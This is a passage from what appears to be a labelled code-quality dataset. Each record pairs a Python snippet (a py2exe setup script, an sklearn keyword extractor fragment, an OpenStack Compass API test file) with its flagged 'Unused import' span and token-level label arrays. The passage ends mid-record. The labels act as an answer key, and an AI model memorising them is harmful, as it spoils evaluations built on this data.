"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fit", " ", "the", " ", "skl", "earn", " ", "Bern", "oulli", " ", "Nai", "ve", " ", "Bayes", " ", "classif", "er_", "\\u\\u\\uNL\\u\\u\\u_", "clf_", "=_", "Bern", "oulli", "NB_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "clf_", "._", "fit_", "(_", "X_", ",_", "labels_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Extract", " ", "the", " ", "learned", " ", "features", " ", "tha", "t", " ", "are", " ", "predicti", "ve", " ", "of", " ", "the", " ", "positive_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "negati", "ve", " ", "class_", "\\u\\u\\uNL\\u\\u\\u_", "posit", "ive", "\\u", "keywords_", "=_", "v_", "._", "inv", "erse", "\\u", "transform_", "(_", "clf_", "._", "feature", "\\u", "log", "\\u", "prob", "\\u_", "[_", "1_", "]_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "negati", "ve", "\\u", "keywords_", "=_", "v_", "._", "inv", "erse", "\\u", "transform_", "(_", "clf_", "._", "feature", "\\u", "log", "\\u", "prob", "\\u_", "[_", "0_", "]_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pos", "\\u", "words_", "=_", "Counter_", "(_", "posit", "ive", "\\u", "keywords_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neg", "\\u", "words_", "=_", "Counter_", "(_", "negati", "ve", "\\u", "keywords_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "make", " ", "a", " ", "list", " ", "order", "ed", " ", "by", " ", "thei", "r", " ", "weight_", "\\u\\u\\uNL\\u\\u\\u_", "pos", "\\u", "ordered_", "=_", "sorted_", "(_", "pos", "\\u", "words_", "._", "items_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "key_", "=_", "operator_", "._", "itemgetter_", "(_", "1_", ")_", ",_", "reverse_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neg", "\\u", "ordered_", "=_", "sorted_", "(_", "neg", "\\u", "words_", "._", "items_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "key_", "=_", "operator_", "._", "itemgetter_", "(_", "1_", ")_", ",_", "reverse_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "pos", "\\u", "ordered_", ",_", "neg", "\\u", "ordered_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
flags/Reactor-3/freeze.py
[ { "content": "from distutils.core import setup\n\nimport py2exe\n\nsetup(windows=[{'script': 'reactor-3.py'}],\n options = {\"py2exe\": {\"packages\": ['alife']}})", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import py2exe", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "distutils_", "._", "core_", "import_", "setup_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "py2", "exe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup_", "(_", "windows_", "=_", "[_", "{_", "'", "script", "'_", ":_", "'", "react", "or", "-", "3", ".", "py", "'_", "}_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "options_", "=_", "{_", "\"", "py2", "exe", "\"_", ":_", "{_", "\"", "package", "s", "\"_", ":_", "[_", "'", "ali", "fe", "'_", "]_", "}_", "}_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
openstack/compass-core/compass/tests/api/test_api.py
[ { "content": "#!/usr/bin/python\n#\n# Copyright 2014 Huawei Technologies Co. Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"test api module.\"\"\"\nimport celery\nimport copy\nimport mock\nimport os\nimport simplejson as json\nimport unittest2\n\n\nos.environ['COMPASS_IGNORE_SETTING'] = 'true'\n\n\nfrom compass.utils import setting_wrapper as setting\nreload(setting)\n\n\nfrom compass.api import login_manager\nfrom compass.db.api import adapter_holder as adapter_api\nfrom compass.db.api import cluster as cluster_api\nfrom compass.db.api import database\nfrom compass.db.api import host as host_api\nfrom compass.db.api import metadata_holder as metadata_api\nfrom compass.db.api import user as user_api\nfrom compass.db.models import User\nfrom compass.utils import flags\nfrom compass.utils import logsetting\nfrom compass.utils import util\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n flags.init()\n logsetting.init()\n unittest2.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ApiTestCase(unittest2.TestCase):\n \"\"\"base api test class.\"\"\"\n\n CLUSTER_NAME = \"Test_CLUSTER\"\n SWITCH_IP_ADDRESS = '10.10.10.1'\n SWITCH_CREDENTIAL = {'version': 'xxx',\n 'community': 'xxx'}\n USER_CREDENTIALS = {\n 'email': setting.COMPASS_ADMIN_EMAIL,\n 'password': setting.COMPASS_ADMIN_PASSWORD\n }\n\n\n\n\n\n\n", "metadata": "root.ApiTestCase", "header": "['module', '___EOS___']", "index": 45 }, { "content": " def setUp(self):\n super(ApiTestCase, self).setUp()\n os.environ['COMPASS_IGNORE_SETTING'] = 'true'\n os.environ['COMPASS_CONFIG_DIR'] = os.path.join(\n os.path.dirname(os.path.abspath(__file__)),\n 'data'\n )\n reload(setting)\n database.init('sqlite://')\n database.create_db()\n adapter_api.load_adapters(force_reload=True)\n metadata_api.load_metadatas(force_reload=True)\n adapter_api.load_flavors(force_reload=True)\n\n from compass.api import api as compass_api\n application = compass_api.app\n self.test_client = application.test_client()\n\n celery.current_app.send_task = mock.Mock()\n from compass.tasks import client as celery_client\n celery_client.celery.send_task = mock.Mock()\n url = '/users/token'\n data = self.USER_CREDENTIALS\n request_data = json.dumps(data)\n return_value = self.test_client.post(\n url,\n data=request_data,\n )\n resp = return_value.get_data()\n resp = json.loads(resp)\n self.token = resp['token']\n\n # create a cluster\n adapter_name, adapter_id, os_id, flavor_id = (\n self._get_adapter_info()\n )\n url = '/clusters'\n data = {}\n data['name'] = 'test_cluster1'\n data['adapter_id'] = adapter_id\n data['os_id'] = os_id\n self.os_id = os_id\n data['flavor_id'] = flavor_id\n self.post(url, data)\n data = {}\n data['name'] = 'test_cluster2'\n data['adapter_id'] = adapter_id\n data['os_id'] = os_id\n self.flavor_id = flavor_id\n data['flavor_id'] = flavor_id\n self.post(url, data)\n\n # create a switch\n url = '/switches'\n datas = [\n {\n 'ip': self.SWITCH_IP_ADDRESS,\n 'credentials': {\n \"version\": \"2c\",\n \"community\": \"public\"\n },\n 'vendor': 'huawei',\n 'state': 'under_monitoring'\n },\n {\n 'ip': '172.29.8.40',\n 'credentials': {\n \"version\": \"2c\",\n \"community\": \"public\"\n },\n 'vendor': 'huawei',\n 'state': 'under_monitoring'\n }\n ]\n for data in datas:\n self.post(url, data)", "metadata": "root.ApiTestCase.setUp", "header": "['class', 'ApiTestCase', '(', 'unittest2', '.', 'TestCase', ')', ':', '___EOS___']", "index": 57 }, { "content": " def get(self, url):\n return self.test_client.get(\n url, headers={\n setting.USER_AUTH_HEADER_NAME: self.token\n }\n )", "metadata": "root.ApiTestCase.get", "header": "['class', 'ApiTestCase', '(', 'unittest2', '.', 'TestCase', ')', ':', '___EOS___']", "index": 134 }, { "content": " def post(self, url, data):\n return self.test_client.post(url, data=json.dumps(data))", "metadata": "root.ApiTestCase.post", "header": "['class', 'ApiTestCase', '(', 'unittest2', '.', 'TestCase', ')', ':', '___EOS___']", "index": 141 }, { "content": " def put(self, url, data):\n return self.test_client.put(url, data=json.dumps(data))", "metadata": "root.ApiTestCase.put", "header": "['class', 'ApiTestCase', '(', 'unittest2', '.', 'TestCase', ')', ':', '___EOS___']", "index": 144 }, { "content": " def delete(self, url):\n return self.test_client.delete(url)", "metadata": "root.ApiTestCase.delete", "header": "['class', 'ApiTestCase', '(', 'unittest2', '.', 'TestCase', ')', ':', '___EOS___']", "index": 147 }, { "content": " def tearDown(self):\n database.drop_db()\n reload(setting)\n super(ApiTestCase, self).tearDown()", "metadata": "root.ApiTestCase.tearDown", "header": "['class', 'ApiTestCase', '(', 'unittest2', '.', 'TestCase', ')', ':', '___EOS___']", "index": 150 }, { "content": " def _get_adapter_info(self):\n adapter_name = None\n adapter_id = None\n os_id = None\n flavor_id = None\n adapters = self.get(\n '/adapters'\n ).get_data()\n adapters = json.loads(adapters)\n for adapter in adapters:\n if adapter['flavors']:\n adapter_name = adapter['name']\n adapter_id = adapter['id']\n os_id = adapter['supported_oses'][0]['os_id']\n for flavor in adapter['flavors']:\n flavor_id = flavor['id']\n break\n if not adapter_name:\n raise Exception('adapter name not found')\n if not adapter_id:\n raise Exception('adapter id not found')\n if not os_id:\n raise Exception('os id not found')\n if not flavor_id:\n raise Exception('flavor id not found')\n return (adapter_name, adapter_id, os_id, flavor_id)", "metadata": "root.ApiTestCase._get_adapter_info", "header": "['class', 'ApiTestCase', '(', 'unittest2', '.', 'TestCase', ')', ':', '___EOS___']", "index": 155 }, { "content": "class TestAuth(ApiTestCase):\n \"\"\"Test user authentication.\"\"\"\n\n\n\n", "metadata": "root.TestAuth", "header": "['module', '___EOS___']", "index": 183 }, { "content": " def setUp(self):\n super(TestAuth, self).setUp()", "metadata": "root.TestAuth.setUp", "header": "['class', 'TestAuth', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 186 }, { "content": " def tearDown(self):\n super(TestAuth, self).tearDown()", "metadata": "root.TestAuth.tearDown", "header": "['class', 'TestAuth', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 189 }, { "content": " def test_login_logout(self):\n # Test login\n url = '/users/token'\n data = self.USER_CREDENTIALS\n request_data = json.dumps(data)\n return_value = self.test_client.post(\n url,\n data=request_data,\n follow_redirects=True\n )\n self.assertEqual(return_value.status_code, 200)\n # Test logout\n url = '/users/logout'\n return_value = self.test_client.post(\n url,\n follow_redirects=True\n )\n self.assertEqual(return_value.status_code, 200)", "metadata": "root.TestAuth.test_login_logout", "header": "['class', 'TestAuth', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 192 }, { "content": " def test_login_failed(self):\n url = '/users/token'\n # Wrong credentials\n data_list = [\n {\"email\": \"xxx\", \"password\": \"admin\"},\n {\"email\": \"[email protected]\", \"password\": \"xxx\"}\n ]\n for data in data_list:\n return_value = self.test_client.post(\n url,\n data=data,\n follow_redirects=True\n )\n self.assertEqual(return_value.status_code, 400)\n self.assertIn('missing email or password', return_value.get_data())\n\n # disable user\n User.query.filter_by(\n email=\"[email protected]\"\n ).update({\"active\": False})\n\n request_data = json.dumps(self.USER_CREDENTIALS)\n return_value = self.test_client.post(\n url,\n data=request_data,\n follow_redirects=True\n )\n # TODO(weidong):\n # self.assertEqual(return_value.status_code, 403)\n # self.assertIn(\"failed to login\", return_value.get_data())", "metadata": "root.TestAuth.test_login_failed", "header": "['class', 'TestAuth', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 211 }, { "content": "class TestUserAPI(ApiTestCase):\n \"\"\"Test user api.\"\"\"\n\n\n", "metadata": "root.TestUserAPI", "header": "['module', '___EOS___']", "index": 243 }, { "content": " def setUp(self):\n super(TestUserAPI, self).setUp()", "metadata": "root.TestUserAPI.setUp", "header": "['class', 'TestUserAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 246 }, { "content": " def tearDown(self):\n super(TestUserAPI, self).tearDown()", "metadata": "root.TestUserAPI.tearDown", "header": "['class', 'TestUserAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 249 }, { "content": " def test_list_users(self):\n url = '/users'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n count = len(resp)\n self.assertEqual(count, 1)\n self.assertEqual(return_value.status_code, 200)", "metadata": "root.TestUserAPI.test_list_users", "header": "['class', 'TestUserAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 252 }, { "content": "class TestClusterAPI(ApiTestCase):\n \"\"\"Test cluster api.\"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TestClusterAPI", "header": "['module', '___EOS___']", "index": 261 }, { "content": " def setUp(self):\n super(TestClusterAPI, self).setUp()\n # add a machine\n url = '/switches/2/machines'\n data = {\n 'mac': '28:6e:d4:46:c4:25',\n 'port': '1',\n 'vlans': [88]\n }\n self.post(url, data)\n url = '/clusters/1/hosts'\n data = {\n 'name': 'test_cluster_host',\n 'reinstall_os': True,\n 'machine_id': 1\n }\n self.post(url, data)", "metadata": "root.TestClusterAPI.setUp", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 264 }, { "content": " def tearDown(self):\n super(TestClusterAPI, self).tearDown()", "metadata": "root.TestClusterAPI.tearDown", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 282 }, { "content": " def test_list_clusters(self):\n # list clusters successfully\n\n url = '/clusters'\n return_value = self.test_client.get(url)\n self.assertEqual(return_value.status_code, 200)\n resp = json.loads(return_value.get_data())\n expected = [\n {'name': 'test_cluster1'},\n {'name': 'test_cluster2'}\n ]\n for i, v in enumerate(resp):\n self.assertTrue(\n all(item in resp[i].items() for item in expected[i].items())\n )\n\n # give a non-existed\n url = '/clusters?name=xx'\n return_value = json.loads(\n self.test_client.get(url).get_data()\n )\n self.assertEqual([], return_value)", "metadata": "root.TestClusterAPI.test_list_clusters", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 285 }, { "content": " def test_show_cluster(self):\n # get a cluster successfully\n url = '/clusters/1'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 200)\n resp = json.loads(return_value.get_data())\n self.assertEqual(resp['name'], 'test_cluster1')\n\n # get a non-exist cluster\n url = 'clusters/999'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestClusterAPI.test_show_cluster", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 308 }, { "content": " def test_add_cluster(self):\n # add a cluster successfully\n url = '/clusters'\n adapter_name, adapter_id, os_id, flavor_id = (\n self._get_adapter_info()\n )\n data = {}\n data['name'] = 'test_add_cluster'\n data['adapter_id'] = adapter_id\n data['os_id'] = os_id\n data['flavor_id'] = flavor_id\n return_value = self.post(url, data)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['name'], 'test_add_cluster')\n\n # add a duplicated cluster\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 409)\n\n # add a cluster with a non-existed adapter-id\n data = {}\n data['name'] = 'cluster_invalid'\n data['adapter_id'] = 9\n data['os_id'] = 1\n data['flavor_id'] = flavor_id\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 404)\n\n # add a cluster with a non-existed flavor-id\n data = {}\n data['name'] = 'cluster_invalid'\n data['adapter_id'] = adapter_id\n data['os_id'] = 1\n data['flavor_id'] = 1\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestClusterAPI.test_add_cluster", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 321 }, { "content": " def test_update_cluster(self):\n # update a cluster sucessfully\n url = 'clusters/1'\n data = {\n 'name': 'cluster_update'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(\n json.loads(return_value.get_data())['name'],\n 'cluster_update'\n )\n\n # update a non-existed cluster\n url = 'clusters/99'\n data = {\n 'name': 'cluster_update_non_existed'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 404)\n\n # update a cluster with wrong keyword\n url = 'clusters/1'\n data = {\n 'xxx': 'cluster_update_wrong_keyword'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 400)", "metadata": "root.TestClusterAPI.test_update_cluster", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 359 }, { "content": " def test_delete_cluster_not_editable(self):\n # delete a cluster which state is installing\n self.user_object = (\n user_api.get_user_object(\n setting.COMPASS_ADMIN_EMAIL\n )\n )\n cluster_api.update_cluster_state(\n 1,\n state='INSTALLING',\n user=self.user_object,\n )\n url = '/clusters/1'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 403)", "metadata": "root.TestClusterAPI.test_delete_cluster_not_editable", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 388 }, { "content": " def test_delete_cluster(self):\n # delete a cluster sucessfully\n url = '/clusters/1'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 200)", "metadata": "root.TestClusterAPI.test_delete_cluster", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 404 }, { "content": " def test_list_cluster_hosts(self):\n # list cluster_hosts successfully\n url = '/clusters/1/hosts'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n count = len(resp)\n self.assertEqual(count, 1)\n self.assertEqual(return_value.status_code, 200)\n\n # give a non-existed cluster_id\n url = '/clusters/99/hosts'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestClusterAPI.test_list_cluster_hosts", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 410 }, { "content": " def test_show_cluster_host(self):\n # show a cluster_host successfully\n url = '/clusters/1/hosts/1'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual(resp['hostname'], 'test_cluster_host')\n\n # give a non-existed host_id\n url = '/clusters/1/hosts/99'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestClusterAPI.test_show_cluster_host", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 424 }, { "content": " def test_add_cluster_host(self):\n # add a cluster_host successfully\n url = '/clusters/2/hosts'\n data = {\n 'name': 'add_cluster_host',\n 'reinstall_os': True,\n 'machine_id': 1\n }\n return_value = self.post(url, data)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['hostname'], 'add_cluster_host')\n\n # add a duplicate cluster_host\n data = {\n 'name': 'duplicate_cluster_host',\n 'reinstall_os': True,\n 'machine_id': 1\n }\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 409)", "metadata": "root.TestClusterAPI.test_add_cluster_host", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 436 }, { "content": " def test_update_cluster_host(self):\n # update cluster_host successfully\n url = '/clusters/1/hosts/1'\n data = {\n 'roles': [\n 'allinone-compute'\n ]\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 200)", "metadata": "root.TestClusterAPI.test_update_cluster_host", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 458 }, { "content": " def test_delete_cluster_host(self):\n # delete a cluster_host successfully\n url = '/clusters/1/hosts/1'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 200)\n\n # give a non-existed cluster_id\n url = '/clusters/99/hosts/1'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestClusterAPI.test_delete_cluster_host", "header": "['class', 'TestClusterAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 469 }, { "content": "class TestSubnetAPI(ApiTestCase):\n \"\"\"Test subnet api.\"\"\"\n\n\n\n\n\n\n", "metadata": "root.TestSubnetAPI", "header": "['module', '___EOS___']", "index": 481 }, { "content": " def setUp(self):\n super(TestSubnetAPI, self).setUp()\n url = '/subnets'\n data = {\n 'subnet': '10.145.89.0/24',\n 'name': 'test_subnet'\n }\n self.post(url, data)", "metadata": "root.TestSubnetAPI.setUp", "header": "['class', 'TestSubnetAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 484 }, { "content": " def tearDown(self):\n super(TestSubnetAPI, self).tearDown()", "metadata": "root.TestSubnetAPI.tearDown", "header": "['class', 'TestSubnetAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 493 }, { "content": " def test_list_subnets(self):\n # list subnets successfully\n url = '/subnets'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n count = len(resp)\n self.assertEqual(count, 1)\n self.assertEqual(return_value.status_code, 200)\n\n # list subnets with non-exists name\n url = '/subnets?name=test'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual(resp, [])", "metadata": "root.TestSubnetAPI.test_list_subnets", "header": "['class', 'TestSubnetAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 496 }, { "content": " def test_show_subnet(self):\n # get a subnet successfully\n url = '/subnets/1'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['name'], 'test_subnet')\n\n # give a non-existed id\n url = '/subnets/99'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestSubnetAPI.test_show_subnet", "header": "['class', 'TestSubnetAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 511 }, { "content": " def test_add_subnet(self):\n # subnet already added in setUp()\n # duplicate subnet\n url = '/subnets'\n data = {\n 'subnet': '10.145.89.0/24',\n 'name': 'test_subnet'\n }\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 409)\n\n # add subnet with invalid subnet\n data = {\n 'subnet': 'xxx',\n 'name': 'subnet_invalid'\n }\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 400)", "metadata": "root.TestSubnetAPI.test_add_subnet", "header": "['class', 'TestSubnetAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 524 }, { "content": " def test_update_subnet(self):\n # update subnet successfully\n url = '/subnets/1'\n data = {\n 'subnet': '192.168.100.0/24',\n 'name': 'update_subnet'\n }\n return_value = self.put(url, data)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertTrue(item in data.items() for item in resp.items())\n\n # give a non-existed id\n url = '/subnets/99'\n data = {\n 'subnet': '192.168.100.0/24',\n 'name': 'subnet_invalid'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 404)\n\n # update with wrong filter\n url = '/subnets/1'\n data = {\n 'xxx': 'wrong_filter'\n }\n return_value = self.put(url, data)\n self.assertEqual(return_value.status_code, 400)", "metadata": "root.TestSubnetAPI.test_update_subnet", "header": "['class', 'TestSubnetAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 543 }, { "content": " def test_delete_subnet(self):\n # delete a subnet successfully\n url = '/subnets/1'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 200)\n\n # delete a non-existed subnet\n url = '/subnets/99'\n return_value = self.delete(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestSubnetAPI.test_delete_subnet", "header": "['class', 'TestSubnetAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 572 }, { "content": "class TestSwitchAPI(ApiTestCase):\n \"\"\"Test switch api.\"\"\"\n\n\n\n\n\n\n\n", "metadata": "root.TestSwitchAPI", "header": "['module', '___EOS___']", "index": 584 }, { "content": " def setUp(self):\n super(TestSwitchAPI, self).setUp()", "metadata": "root.TestSwitchAPI.setUp", "header": "['class', 'TestSwitchAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 587 }, { "content": " def tearDown(self):\n super(TestSwitchAPI, self).tearDown()", "metadata": "root.TestSwitchAPI.tearDown", "header": "['class', 'TestSwitchAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 590 }, { "content": " def test_list_switches(self):\n url = '/switches'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n count = len(resp)\n self.assertEqual(count, 2)\n self.assertEqual(return_value.status_code, 200)\n\n # give a ip_int\n url = '/switches?ip_int=172.29.8.40'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 200)\n\n # give a invalid ip_int\n url = '/switches?ip_int=xxx'\n return_value = json.loads(self.get(url).get_data())\n self.assertEqual([], return_value)", "metadata": "root.TestSwitchAPI.test_list_switches", "header": "['class', 'TestSwitchAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 593 }, { "content": " def test_show_switch(self):\n # show switch successfully\n url = '/switches/2'\n return_value = self.get(url)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['ip'], self.SWITCH_IP_ADDRESS)\n\n # give a non-existed id\n url = '/switches/99'\n return_value = self.get(url)\n self.assertEqual(return_value.status_code, 404)", "metadata": "root.TestSwitchAPI.test_show_switch", "header": "['class', 'TestSwitchAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 611 }, { "content": " def test_add_switch(self):\n # add a new switch successfully\n url = '/switches'\n data = {\n 'ip': '172.29.8.10',\n 'credentials': {\n \"version\": \"2c\",\n \"community\": \"public\"\n },\n 'vendor': 'huawei',\n 'state': 'under_monitoring'\n }\n return_value = self.post(url, data)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['ip'], '172.29.8.10')\n\n # add a duplicated switch\n data = {\n 'ip': self.SWITCH_IP_ADDRESS,\n 'credentials': {\n \"version\": \"2c\",\n \"community\": \"public\"\n },\n 'vendor': 'huawei',\n 'state': 'under_monitoring'\n }\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 409)\n\n # add a invalid swtich\n data = {\n 'ip': 'xxx',\n 'vendor': 'huawei'\n }\n return_value = self.post(url, data)\n self.assertEqual(return_value.status_code, 400)", "metadata": "root.TestSwitchAPI.test_add_switch", "header": "['class', 'TestSwitchAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 624 }, { "content": " def test_add_switches(self):\n # add switches\n url = '/switchesbatch'\n data = [\n {\n 'ip': '172.29.8.30',\n 'vendor': 'Huawei',\n 'credentials': {\n \"version\": \"2c\",\n \"community\": \"public\"\n }\n }, {\n 'ip': '172.29.8.40'\n }\n ]\n return_value = self.post(url, data)\n resp = json.loads(return_value.get_data())\n success = []\n fail = []\n for item in resp['switches']:\n success.append(item['ip'])\n for item in resp['fail_switches']:\n fail.append(item['ip'])\n self.assertEqual(return_value.status_code, 200)\n self.assertIn('172.29.8.30', success)\n self.assertIn('172.29.8.40', fail)", "metadata": "root.TestSwitchAPI.test_add_switches", "header": "['class', 'TestSwitchAPI', '(', 'ApiTestCase', ')', ':', '___EOS___']", "index": 662 }, { "content": " def test_update_switch(self):\n # update a swithc successfully\n url = '/switches/1'\n data = {\n 'vendor': 'update_vendor'\n }\n return_value = self.put(url, data)\n resp = json.loads(return_value.get_data())\n self.assertEqual(return_value.status_code, 200)\n self.assertEqual(resp['vendor'], 